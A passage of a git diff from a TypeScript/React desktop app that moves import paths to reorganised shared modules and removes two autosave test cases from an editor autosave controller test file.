'../../../../../../shared/remote-runtime/ssh/ssh-pty-id' -import { parseRoutableExecutionHostId } from '../../../../../../shared/execution-host' +import { parseRoutableExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { parseRemoteRuntimePtyId, isRemoteRuntimePtyId diff --git a/src/renderer/src/components/dashboard/terminal-preview/links/dashboard-preview-link-interaction.ts b/src/renderer/src/components/dashboard/terminal-preview/links/dashboard-preview-link-interaction.ts index a4344c581f0..e494af0f21b 100644 --- a/src/renderer/src/components/dashboard/terminal-preview/links/dashboard-preview-link-interaction.ts +++ b/src/renderer/src/components/dashboard/terminal-preview/links/dashboard-preview-link-interaction.ts @@ -15,7 +15,7 @@ import { findHttpLinkAtTerminalMouseEvent } from '@/components/terminal-pane/lin import { findTerminalHttpLinkAtBufferPosition } from '../../../../../../shared/terminal/links/terminal-link-buffer-hit-testing' import { httpLinkDirectClickDestination } from '@/lib/browser/navigation/http-link-destinations' import { isWindowsUserAgent } from '@/app-shell/platform/user-agent-platform' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { dashboardPreviewHttpActions, type DashboardPreviewLinkSource diff --git a/src/renderer/src/components/dictation/use-dictation-controls.ts b/src/renderer/src/components/dictation/use-dictation-controls.ts index fea83c89ab5..53b4469b714 100644 --- a/src/renderer/src/components/dictation/use-dictation-controls.ts +++ b/src/renderer/src/components/dictation/use-dictation-controls.ts @@ -4,7 +4,7 @@ import { isImeOwnedKeyboardEvent } from '@/lib/text-input/ime/ime-composition-ke import { isPlainEscapeKeyEvent } from '../terminal-pane/input/keyboard/agent-interrupt-key-event' import { DICTATION_CONTROL_EVENT, type DictationControlAction } from './dictation-control-events' import type { DictationState } from '../../../../shared/speech/speech-types' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' function isPlainEnterKeyEvent(event: KeyboardEvent): boolean { return ( diff --git a/src/renderer/src/components/dictation/use-hold-dictation-gesture.ts b/src/renderer/src/components/dictation/use-hold-dictation-gesture.ts index b9fa372ac4d..03b6459746b 100644 --- a/src/renderer/src/components/dictation/use-hold-dictation-gesture.ts +++ b/src/renderer/src/components/dictation/use-hold-dictation-gesture.ts @@ -4,7 +4,7 @@ import { keybindingMatchesAction } from '../../../../shared/keybindings/matching import { normalizeTerminalShortcutPolicy } from '../../../../shared/keybindings/effective' import type { KeybindingOverrides } from '../../../../shared/keybindings/types' import { textInputOwnsComposition } from '../../../../shared/keybindings/text-input-shortcut-policy' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { dictationShortcutMode } from '../../../../shared/speech/dictation/dictation-shortcut-mode' import { addAppKeyListener, removeAppKeyListener } from '@/lib/keyboard/app-keyboard-router' import { showTerminalShortcutCaptureNotification } from '@/lib/notifications/terminal-shortcut-capture-notification' diff --git a/src/renderer/src/components/editor/autosave/editor-autosave-controller.test.ts b/src/renderer/src/components/editor/autosave/editor-autosave-controller.test.ts index e7e538ac0f1..ad356160b33 100644 --- a/src/renderer/src/components/editor/autosave/editor-autosave-controller.test.ts +++ b/src/renderer/src/components/editor/autosave/editor-autosave-controller.test.ts @@ -11,13 +11,10 @@ import { requestEditorFileSave, requestEditorSaveQuiesce } from './editor-autosa import { attachEditorAutosaveController } from './editor-autosave-controller' import { registerPendingEditorFlush } from '../save/flush/editor-pending-flush' import { __clearSelfWriteRegistryForTests } from '../external-changes/editor-self-write-registry' -import { - createCompatibleRuntimeStatusResponseIfNeeded, - type RuntimeEnvironmentCallRequest -} from '@/runtime/rpc/testing/runtime-compatibility-test-fixture' -import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '@/runtime/rpc/compatibility/runtime-compatibility-cache' -import { getDefaultSettings } from '../../../../../shared/constants' -import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture' +import '@/runtime/rpc/testing/runtime-compatibility-test-fixture' +import '@/runtime/rpc/compatibility/runtime-compatibility-cache' +import '../../../../../shared/orca-profiles/constants' +import '@/store/slices/worktrees/worktree.test-fixture' import { emptyTabLayoutState } from '../../../store/slices/editor/editor-slice-test-harness' import { withLoadedBaselines } from './editor-autosave-controller-test-fixture' @@ -159,104 +156,6 @@ describe('attachEditorAutosaveController', () => { __clearSelfWriteRegistryForTests() }) - it.each(['unique', 'conflict-first', 'conflict-last'] as const)( - 'keeps legacy runtime saves on a unique published directory (%s)', - async (variant) => { - clearRuntimeCompatibilityCacheForTests() - const writeFile = vi.fn().mockResolvedValue(undefined) - const runtimeCall = vi.fn().mockResolvedValue({ - ok: true, - result: {}, - _meta: { runtimeId: 'runtime-env-1' } - }) - const runtimeTransportCall = vi.fn((args: RuntimeEnvironmentCallRequest) => { - return ( - createCompatibleRuntimeStatusResponseIfNeeded(args, 'runtime-env-1') ?? runtimeCall(args) - ) - }) - const eventTarget = new EventTarget() - vi.stubGlobal('window', { - addEventListener: eventTarget.addEventListener.bind(eventTarget), - removeEventListener: eventTarget.removeEventListener.bind(eventTarget), - dispatchEvent: eventTarget.dispatchEvent.bind(eventTarget), - setTimeout: globalThis.setTimeout.bind(globalThis), - clearTimeout: globalThis.clearTimeout.bind(globalThis), - api: { - fs: { writeFile }, - runtimeEnvironments: { call: runtimeTransportCall } - } - } satisfies WindowStub) - - const store = createEditorStore() - const worktrees = [ - makeWorktree({ id: 'wt-1', repoId: 'repo-1', path: '/remote/repo', hostId: undefined }) - ] - if (variant !== 'unique') { - worktrees.push( - makeWorktree({ id: 'wt-1', repoId: 'repo-1', path: '/different/repo', hostId: undefined }) - ) - if (variant === 'conflict-first') { - worktrees.reverse() - } - } - store.setState({ - settings: { - ...getDefaultSettings('/tmp'), - editorAutoSave: true, - editorAutoSaveDelayMs: 1000, - activeRuntimeEnvironmentId: 'env-2' - }, - worktreesByRepo: { - 'repo-1': worktrees - } - }) - const fileId = store.getState().openFile({ - filePath: '/remote/repo/file.ts', - relativePath: 'file.ts', - worktreeId: 'wt-1', - runtimeEnvironmentId: 'env-1', - language: 'typescript', - mode: 'edit' - }) - store.getState().setEditorDraft(fileId, 'edited') - store.getState().markFileDirty(fileId, true) - - const cleanup = attachEditorAutosaveController(withLoadedBaselines(store)) - try { - if (variant !== 'unique') { - await expect(requestDirtyFileSave()).rejects.toThrow( - 'Remote file is outside the owning runtime worktree' - ) - expect(runtimeCall).not.toHaveBeenCalled() - expect(writeFile).not.toHaveBeenCalled() - expect(store.getState().editorDrafts[fileId]).toBe('edited') - expect(store.getState().openFiles[0]?.isDirty).toBe(true) - return - } - await requestDirtyFileSave() - - expect(runtimeCall).toHaveBeenCalledWith( - expect.objectContaining({ - selector: 'env-1', - method: 'files.writeIfUnchanged', - expectedEnvironmentPairingRevision: undefined, - params: { - worktree: 'id:wt-1', - relativePath: 'file.ts', - content: 'edited', - expectedExecutionHostId: 'local', - diskPrecondition: expect.objectContaining({ allowMissing: true }) - }, - timeoutMs: 15_000 - }) - ) - expect(writeFile).not.toHaveBeenCalled() - } finally { - cleanup() - } - } - ) - it('flushes mounted rich-editor changes before restart-driven dirty-file saves', async () => { const writeFile = vi.fn().mockResolvedValue(undefined) const eventTarget = new EventTarget() @@ -347,53 +246,6 @@ describe('attachEditorAutosaveController', () => { } }) - it('drops an autosave already queued when owner migration starts', async () => { - let releaseFirstWrite!: () => void - const firstWrite = new Promise((resolve) => { - releaseFirstWrite = resolve - }) - const writeFile = vi.fn().mockReturnValueOnce(firstWrite).mockResolvedValue(undefined) - const eventTarget = new EventTarget() - vi.stubGlobal('window', { - addEventListener: eventTarget.addEventListener.bind(eventTarget), - removeEventListener: eventTarget.removeEventListener.bind(eventTarget), - dispatchEvent: eventTarget.dispatchEvent.bind(eventTarget), - setTimeout: globalThis.setTimeout.bind(globalThis), - clearTimeout: globalThis.clearTimeout.bind(globalThis), - api: { fs: { writeFile } } - } satisfies WindowStub) - - const store = createEditorStore() - store.getState().openFile({ - filePath: '/repo/file.ts', - relativePath: 'file.ts', - worktreeId: 'wt-1', - language: 'typescript', - mode: 'edit' - }) - const cleanup = attachEditorAutosaveController(withLoadedBaselines(store)) - try { - store.getState().setEditorDraft('/repo/file.ts', 'first autosave') - store.getState().markFileDirty('/repo/file.ts', true) - await vi.advanceTimersByTimeAsync(1000) - expect(writeFile).toHaveBeenCalledTimes(1) - - store.getState().setEditorDraft('/repo/file.ts', 'queued autosave') - store.getState().markFileDirty('/repo/file.ts', true) - await vi.advanceTimersByTimeAsync(1000) - store.getState().setRestoredEditorOwnerMigrationPending('/repo/file.ts', true) - releaseFirstWrite() - for (let index = 0; index < 6; index += 1) { - await Promise.resolve() - } - - expect(writeFile).toHaveBeenCalledTimes(1) - expect(store.getState().editorDrafts['/repo/file.ts']).toBe('queued autosave') - } finally { - cleanup() - } - }) - it('leaves dirty editor drafts ready for the combined hot-exit checkpoint', async () => { const writeFile = vi.fn().mockResolvedValue(undefined) const eventTarget = new EventTarget() diff --git a/src/renderer/src/components/editor/autosave/editor-autosave.ts b/src/renderer/src/components/editor/autosave/editor-autosave.ts index ba3bdde3498..ba89c3ec47d 100644 --- a/src/renderer/src/components/editor/autosave/editor-autosave.ts +++ b/src/renderer/src/components/editor/autosave/editor-autosave.ts @@ -6,7 +6,7 @@ import { DEFAULT_EDITOR_AUTO_SAVE_DELAY_MS, MAX_EDITOR_AUTO_SAVE_DELAY_MS, MIN_EDITOR_AUTO_SAVE_DELAY_MS -} from '../../../../../shared/constants' +} from '../../../../../shared/editor/saving/editor-auto-save-delay' import { clampNumber } from '@/lib/terminal/appearance/terminal-theme' import { isAutosavePausedForNonUtf8File } from './editor-non-utf8-autosave-pause' import type { OpenFile } from '@/store/slices/editor/types/open-file' diff --git a/src/renderer/src/components/editor/check-details/actions/check-annotation-open.ts b/src/renderer/src/components/editor/check-details/actions/check-annotation-open.ts index 60c20c861d5..0690e4bd118 100644 --- a/src/renderer/src/components/editor/check-details/actions/check-annotation-open.ts +++ b/src/renderer/src/components/editor/check-details/actions/check-annotation-open.ts @@ -3,7 +3,7 @@ import { activateAndRevealWorktree } from '@/lib/workspace/activation/worktree-a import { useAppStore } from '@/store/index' import { scheduleEditorLineReveal } from '@/store/slices/editor/focus/editor-focus-reveal' import { resolveAnnotationPathInsideWorktree } from './check-annotation-path' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export function openAnnotationLocation(params: { worktreeId: string diff --git a/src/renderer/src/components/editor/combined-diff/review-controls/use-combined-diff-view-preferences.ts b/src/renderer/src/components/editor/combined-diff/review-controls/use-combined-diff-view-preferences.ts index ddcafa64296..90a8438543a 100644 --- a/src/renderer/src/components/editor/combined-diff/review-controls/use-combined-diff-view-preferences.ts +++ b/src/renderer/src/components/editor/combined-diff/review-controls/use-combined-diff-view-preferences.ts @@ -1,6 +1,6 @@ import { useCallback, useState } from 'react' import type React from 'react' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { DiffSection } from '../../diff/sections/diff-section-types' import { combinedDiffViewPreferences } from '../remember-view/combined-diff-view-memory' import { getInitialCombinedDiffSectionLoadIndices } from '../load-sections/combined-diff-initial-section-load' diff --git a/src/renderer/src/components/editor/document-media/MediaViewer.tsx b/src/renderer/src/components/editor/document-media/MediaViewer.tsx index 35a9baf9ff2..487c6b8e7a9 100644 --- a/src/renderer/src/components/editor/document-media/MediaViewer.tsx +++ b/src/renderer/src/components/editor/document-media/MediaViewer.tsx @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { useEffect, useRef, useState } from 'react' import { useTranslate } from '@/i18n/use-translate' import { Button } from '@/components/ui/button' diff --git a/src/renderer/src/components/editor/file-drop/editor-dropped-file-open.ts b/src/renderer/src/components/editor/file-drop/editor-dropped-file-open.ts index 018fcb33d8d..520f2194856 100644 --- a/src/renderer/src/components/editor/file-drop/editor-dropped-file-open.ts +++ b/src/renderer/src/components/editor/file-drop/editor-dropped-file-open.ts @@ -13,11 +13,11 @@ import { translate } from '@/i18n/i18n' import { describeSharedDropFailureReason } from '@/lib/files/drop/drop-skip-reason-copy' import { captureWorktreeSshMutationExpectation } from '@/runtime/hosts/ssh/ssh-mutation-expectation' import { statUserOpenedPath } from '@/lib/files/access/user-opened-local-path' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { DROP_STAGING_RELATIVE_DIR } from '../../../../../shared/file-import/drop-staging-ignore' import { openDocumentInFloatingWorkspace } from '@/components/floating-terminal/workspace/open-document-in-floating-workspace' import { requireRuntimeTargetForFileOwner } from '@/lib/files/access/file-owner-runtime-target' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { isResolvedWorkspaceFileDragExecutionHost } from '@/lib/files/drop/workspace-file-drag' import type { WorkspaceFileDragSource } from '@/lib/files/drop/workspace-file-drag' import { diff --git a/src/renderer/src/components/editor/file-ownership/absolute-tab-placement.ts b/src/renderer/src/components/editor/file-ownership/absolute-tab-placement.ts index 20c96cb3565..06e56fe46ed 100644 --- a/src/renderer/src/components/editor/file-ownership/absolute-tab-placement.ts +++ b/src/renderer/src/components/editor/file-ownership/absolute-tab-placement.ts @@ -6,7 +6,10 @@ import { type RuntimeWorkspaceFileRoute } from '@/lib/files/access/runtime-workspace-file-route' import { isFloatingWorkspaceId } from '../../../../../shared/workspace/identity/floating-workspace-worktree' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { captureRuntimeEnvironmentRequestRevision } from '@/runtime/rpc/environment-revisions/runtime-environment-revision' import { chatScratchFileAddress } from '@/runtime/files/addressing/runtime-chat-scratch-file-address' import { diff --git a/src/renderer/src/components/editor/git-graph/git-graph-filter.tsx b/src/renderer/src/components/editor/git-graph/git-graph-filter.tsx index afe2589dbd9..5d5f5618d94 100644 --- a/src/renderer/src/components/editor/git-graph/git-graph-filter.tsx +++ b/src/renderer/src/components/editor/git-graph/git-graph-filter.tsx @@ -12,7 +12,7 @@ import type { GitHistoryItemRef, GitHistoryRefs } from '../../../../../shared/git/history/git-history-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' type GitGraphFilterProps = { worktreeId: string diff --git a/src/renderer/src/components/editor/git-graph/git-graph-history-controller.ts b/src/renderer/src/components/editor/git-graph/git-graph-history-controller.ts index 359bdde7739..c5dfb0d8bd0 100644 --- a/src/renderer/src/components/editor/git-graph/git-graph-history-controller.ts +++ b/src/renderer/src/components/editor/git-graph/git-graph-history-controller.ts @@ -12,7 +12,7 @@ import type { GitHistoryRefs, GitHistoryResult } from '../../../../../shared/git/history/git-history-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' const filterFor = (worktreeId: string) => useAppStore.getState().gitGraphFiltersByWorktree?.[worktreeId] ?? 'all' diff --git a/src/renderer/src/components/editor/git-graph/git-graph-workspace-navigation.ts b/src/renderer/src/components/editor/git-graph/git-graph-workspace-navigation.ts index 91a97bf2a8e..c4cdf57c787 100644 --- a/src/renderer/src/components/editor/git-graph/git-graph-workspace-navigation.ts +++ b/src/renderer/src/components/editor/git-graph/git-graph-workspace-navigation.ts @@ -1,7 +1,7 @@ import { toast } from 'sonner' import { translate } from '@/i18n/i18n' import { normalizeRuntimePathForComparison } from '../../../../../shared/file-access/cross-platform-path' -import { getWorktreeExecutionHostId } from '../../../../../shared/execution-host' +import { getWorktreeExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { findIndexedRepoOwnerForHost } from '@/lib/workspace/ownership/repo-owner-index' import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields' import { useAppStore } from '@/store' diff --git a/src/renderer/src/components/editor/loading/useEditorPanelFileContentLoader.ts b/src/renderer/src/components/editor/loading/useEditorPanelFileContentLoader.ts index b5eb9db3b07..b74ecd134d7 100644 --- a/src/renderer/src/components/editor/loading/useEditorPanelFileContentLoader.ts +++ b/src/renderer/src/components/editor/loading/useEditorPanelFileContentLoader.ts @@ -16,7 +16,7 @@ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId, toSshExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { WORKTREE_OWNER_NOT_READY_ERROR, type EditorPanelFileContentLoader, diff --git a/src/renderer/src/components/editor/markdown/link-routing/markdown-file-link-system-open.ts b/src/renderer/src/components/editor/markdown/link-routing/markdown-file-link-system-open.ts index 9952f2e89e3..a669ad390db 100644 --- a/src/renderer/src/components/editor/markdown/link-routing/markdown-file-link-system-open.ts +++ b/src/renderer/src/components/editor/markdown/link-routing/markdown-file-link-system-open.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import { fileUrlToAbsolutePath } from './markdown-preview-links' /** diff --git a/src/renderer/src/components/editor/markdown/render-mode/markdown-rich-size-limit.ts b/src/renderer/src/components/editor/markdown/render-mode/markdown-rich-size-limit.ts index 9db888207e5..3e172dab776 100644 --- a/src/renderer/src/components/editor/markdown/render-mode/markdown-rich-size-limit.ts +++ b/src/renderer/src/components/editor/markdown/render-mode/markdown-rich-size-limit.ts @@ -1,4 +1,4 @@ -import { RICH_MARKDOWN_MAX_SIZE_BYTES } from '../../../../../../shared/constants' +import { RICH_MARKDOWN_MAX_SIZE_BYTES } from '../../../../../../shared/editor/markdown/rich-markdown-size-limit' // Even overrides build whole documents synchronously; larger previews previously blocked for seconds and retained gigabytes. export const MARKDOWN_RENDER_OVERRIDE_MAX_SIZE_BYTES = 1024 * 1024 diff --git a/src/renderer/src/components/editor/model-lifetime/identity/editor-model-owner.ts b/src/renderer/src/components/editor/model-lifetime/identity/editor-model-owner.ts index d38bc403f1e..f7e40866b7e 100644 --- a/src/renderer/src/components/editor/model-lifetime/identity/editor-model-owner.ts +++ b/src/renderer/src/components/editor/model-lifetime/identity/editor-model-owner.ts @@ -9,7 +9,7 @@ import { import { toRuntimeExecutionHostId, toSshExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' export type EditorModelOwner = { environmentId: string | null; hostId: string | null } diff --git a/src/renderer/src/components/editor/notebook/kernel/ipynb-execution-host.ts b/src/renderer/src/components/editor/notebook/kernel/ipynb-execution-host.ts index afe6e7699f2..0a0e388bd01 100644 --- a/src/renderer/src/components/editor/notebook/kernel/ipynb-execution-host.ts +++ b/src/renderer/src/components/editor/notebook/kernel/ipynb-execution-host.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host/execution-host' import { resolveOwner } from '@/lib/workspace/ownership/resolve-owner' import type { WorktreeOperationRouteState } from '@/lib/workspace/ownership/worktree-operation-route' diff --git a/src/renderer/src/components/editor/panel/EditorMarkdownFileSurface.tsx b/src/renderer/src/components/editor/panel/EditorMarkdownFileSurface.tsx index 93668da4774..6ad05fe99cd 100644 --- a/src/renderer/src/components/editor/panel/EditorMarkdownFileSurface.tsx +++ b/src/renderer/src/components/editor/panel/EditorMarkdownFileSurface.tsx @@ -2,7 +2,7 @@ import { useTranslate } from '@/i18n/use-translate' import { useAppStore } from '@/store/index' import type { MarkdownViewMode, OpenFile } from '@/store/slices/editor/types/open-file' import { Button } from '@/components/ui/button' -import { RICH_MARKDOWN_MAX_SIZE_BYTES } from '../../../../../shared/constants' +import { RICH_MARKDOWN_MAX_SIZE_BYTES } from '../../../../../shared/editor/markdown/rich-markdown-size-limit' import { formatBytes } from '../../../../../shared/text/format-bytes' import { MarkdownPreview, RichMarkdownEditor } from '../editor-lazy-views' import { diff --git a/src/renderer/src/components/editor/rich-markdown/links/rich-markdown-editor-click-routing.ts b/src/renderer/src/components/editor/rich-markdown/links/rich-markdown-editor-click-routing.ts index f2f85d6af3f..819301e8f86 100644 --- a/src/renderer/src/components/editor/rich-markdown/links/rich-markdown-editor-click-routing.ts +++ b/src/renderer/src/components/editor/rich-markdown/links/rich-markdown-editor-click-routing.ts @@ -13,7 +13,7 @@ import { import { openMarkdownFileLinkWithSystemDefault } from '../../markdown/link-routing/markdown-file-link-system-open' import { scrollToAnchorInEditor } from '../../markdown/navigation/markdown-anchor-scroll' import { getRichMarkdownCommentAtPos } from '../review/rich-markdown-review-annotations' -import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import { classifyHtmlSuperscriptLinkAction } from '../citations/rich-markdown-html-superscript-link-context' import type { RichMarkdownHtmlSuperscriptLinkContext } from '../citations/rich-markdown-html-superscript-link-context' diff --git a/src/renderer/src/components/editor/save/commands/editor-cmd-save-target.ts b/src/renderer/src/components/editor/save/commands/editor-cmd-save-target.ts index af1940e0fab..49f8a382c85 100644 --- a/src/renderer/src/components/editor/save/commands/editor-cmd-save-target.ts +++ b/src/renderer/src/components/editor/save/commands/editor-cmd-save-target.ts @@ -1,6 +1,6 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import type { Tab } from '../../../../../../shared/workspace-layout/tab-groups/tab-types' -import type { TopLevelView } from '../../../../../../shared/ui-chrome-types' +import type { TopLevelView } from '../../../../../../shared/ui-chrome/ui-chrome-types' import { isEditorTabContentType } from '@/store/slices/editor/tabs/editor-tab-content-type' type EditorCmdSaveState = { diff --git a/src/renderer/src/components/editor/save/queue/editor-save-closed-view.test-fixture.ts b/src/renderer/src/components/editor/save/queue/editor-save-closed-view.test-fixture.ts index f642d2b43bf..7e286c0941b 100644 --- a/src/renderer/src/components/editor/save/queue/editor-save-closed-view.test-fixture.ts +++ b/src/renderer/src/components/editor/save/queue/editor-save-closed-view.test-fixture.ts @@ -2,7 +2,7 @@ import { vi } from 'vitest' import type { OpenFile } from '@/store/slices/editor/types/open-file' import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture' import { getDiskBaselineSignature } from '../../../../../../shared/file-write/disk-baseline-signature' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { createEditorSaveQueue } from './editor-save-queue' import type { EditorSaveQueue } from './editor-save-queue-contract' import { __clearSelfWriteRegistryForTests } from '../../external-changes/editor-self-write-registry' diff --git a/src/renderer/src/components/emulator-pane/devices/emulator-device-picker.fixture.tsx b/src/renderer/src/components/emulator-pane/devices/emulator-device-picker.fixture.tsx index 0cdc573f89a..fc8550b0b0e 100644 --- a/src/renderer/src/components/emulator-pane/devices/emulator-device-picker.fixture.tsx +++ b/src/renderer/src/components/emulator-pane/devices/emulator-device-picker.fixture.tsx @@ -1,4 +1,4 @@ -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import { defineFixture } from '../../../component-fixtures/component-fixture' import { EmulatorDevicePicker } from './emulator-device-picker' import type { SimulatorDeviceRow } from '../session/emulator-pane-types' diff --git a/src/renderer/src/components/feature-tips/ChatUiHereCornerCard.fixture.tsx b/src/renderer/src/components/feature-tips/ChatUiHereCornerCard.fixture.tsx index cd276091450..5aa89f5a447 100644 --- a/src/renderer/src/components/feature-tips/ChatUiHereCornerCard.fixture.tsx +++ b/src/renderer/src/components/feature-tips/ChatUiHereCornerCard.fixture.tsx @@ -1,4 +1,4 @@ -import { createGlobalSettingsFixture } from '../../../../shared/global-settings-test-fixture' +import { createGlobalSettingsFixture } from '../../../../shared/settings/global-settings-test-fixture' import { defineFixture } from '../../component-fixtures/component-fixture' import { ChatUiHereCornerCard } from './ChatUiHereCornerCard' diff --git a/src/renderer/src/components/feature-tips/FeatureTipsModal.tsx b/src/renderer/src/components/feature-tips/FeatureTipsModal.tsx index 3a4894a899a..10378bac6df 100644 --- a/src/renderer/src/components/feature-tips/FeatureTipsModal.tsx +++ b/src/renderer/src/components/feature-tips/FeatureTipsModal.tsx @@ -1,6 +1,6 @@ import { useEffect, useRef, useState, type JSX } from 'react' import { toast } from 'sonner' -import { getDefaultVoiceSettings } from '../../../../shared/constants' +import { getDefaultVoiceSettings } from '../../../../shared/orca-profiles/constants' import { ORCHESTRATION_ENABLED_STORAGE_KEY, ORCHESTRATION_SETUP_DISMISSED_STORAGE_KEY, diff --git a/src/renderer/src/components/feature-tips/feature-tip-session-panel-demo.tsx b/src/renderer/src/components/feature-tips/feature-tip-session-panel-demo.tsx index 99c6ef53342..2585754231b 100644 --- a/src/renderer/src/components/feature-tips/feature-tip-session-panel-demo.tsx +++ b/src/renderer/src/components/feature-tips/feature-tip-session-panel-demo.tsx @@ -7,7 +7,7 @@ import { import { getLocalExecutionHostLabel, LOCAL_EXECUTION_HOST_ID -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { AgentSessionHistoryIcon } from '@/components/right-sidebar/activity-bar/agent-session-history-icon' import { AiVaultPanelHeader } from '@/components/right-sidebar/ai-vault/panel/AiVaultPanelHeader' import { highlightedSearchSnippet } from '@/components/right-sidebar/ai-vault/search/AiVaultSearchEvidence' diff --git a/src/renderer/src/components/feature-tips/feature-tip-startup-gate.ts b/src/renderer/src/components/feature-tips/feature-tip-startup-gate.ts index 9a86a6b1854..68cc35f2df5 100644 --- a/src/renderer/src/components/feature-tips/feature-tip-startup-gate.ts +++ b/src/renderer/src/components/feature-tips/feature-tip-startup-gate.ts @@ -8,7 +8,7 @@ import { import { resolveAiVaultSearchSettings } from '../../../../shared/ai-vault/search/ai-vault-search-settings' import type { CliInstallStatus } from '../../../../shared/cli/cli-install-types' import type { FeatureInteractionState } from '../../../../shared/feature-education/interactions/feature-interactions' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { ChatUiLaunchTipVariant } from '../../../../shared/native-chat/chat-ui-launch-tip-audience' import type { OnboardingState } from '../../../../shared/onboarding/onboarding-state-types' import { shouldShowOnboarding } from '../onboarding/should-show-onboarding' diff --git a/src/renderer/src/components/feature-tips/feature-tip-telemetry.ts b/src/renderer/src/components/feature-tips/feature-tip-telemetry.ts index e45ad4c7cb6..47ad03c1fde 100644 --- a/src/renderer/src/components/feature-tips/feature-tip-telemetry.ts +++ b/src/renderer/src/components/feature-tips/feature-tip-telemetry.ts @@ -3,7 +3,7 @@ import { isChatUiLaunchTipTargeted } from '../../../../shared/feature-education/ import { track } from '@/diagnostics/telemetry/telemetry' import type { EventProps } from '../../../../shared/telemetry/telemetry-event-classification' import type { ChatUiLaunchTipVariant } from '../../../../shared/native-chat/chat-ui-launch-tip-audience' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' export type OrcaCliFeatureTipSource = EventProps<'orca_cli_feature_tip_shown'>['source'] export type OrcaCliFeatureTipSetupResult = EventProps<'orca_cli_feature_tip_setup_result'>['result'] diff --git a/src/renderer/src/components/feature-tips/use-session-search-tip-setup.ts b/src/renderer/src/components/feature-tips/use-session-search-tip-setup.ts index b489a3157a4..77c97096075 100644 --- a/src/renderer/src/components/feature-tips/use-session-search-tip-setup.ts +++ b/src/renderer/src/components/feature-tips/use-session-search-tip-setup.ts @@ -2,7 +2,7 @@ import { useEffect, useState } from 'react' import { toast } from 'sonner' import { resolveAiVaultSearchSettings } from '../../../../shared/ai-vault/search/ai-vault-search-settings' import type { AiVaultSearchStatus } from '../../../../shared/ai-vault/search/ai-vault-search-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { isSessionSearchIndexReady, sessionSearchStatusMessage diff --git a/src/renderer/src/components/feature-wall/commit-pr-settings/commit-message-settings-selection.ts b/src/renderer/src/components/feature-wall/commit-pr-settings/commit-message-settings-selection.ts index f3aca307baf..69c1fb37158 100644 --- a/src/renderer/src/components/feature-wall/commit-pr-settings/commit-message-settings-selection.ts +++ b/src/renderer/src/components/feature-wall/commit-pr-settings/commit-message-settings-selection.ts @@ -1,5 +1,5 @@ import type { CommitMessageAiSettings } from '../../../../../shared/source-control/ai/generation/commit-message-ai-types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import { getCommitMessageAgentCapability, diff --git a/src/renderer/src/components/feature-wall/setup/FeatureWallSetupWorkflowActions.tsx b/src/renderer/src/components/feature-wall/setup/FeatureWallSetupWorkflowActions.tsx index e1c317593e0..4033c06cea5 100644 --- a/src/renderer/src/components/feature-wall/setup/FeatureWallSetupWorkflowActions.tsx +++ b/src/renderer/src/components/feature-wall/setup/FeatureWallSetupWorkflowActions.tsx @@ -5,7 +5,7 @@ import { Button } from '@/components/ui/button' import { Input } from '@/components/ui/input' import { 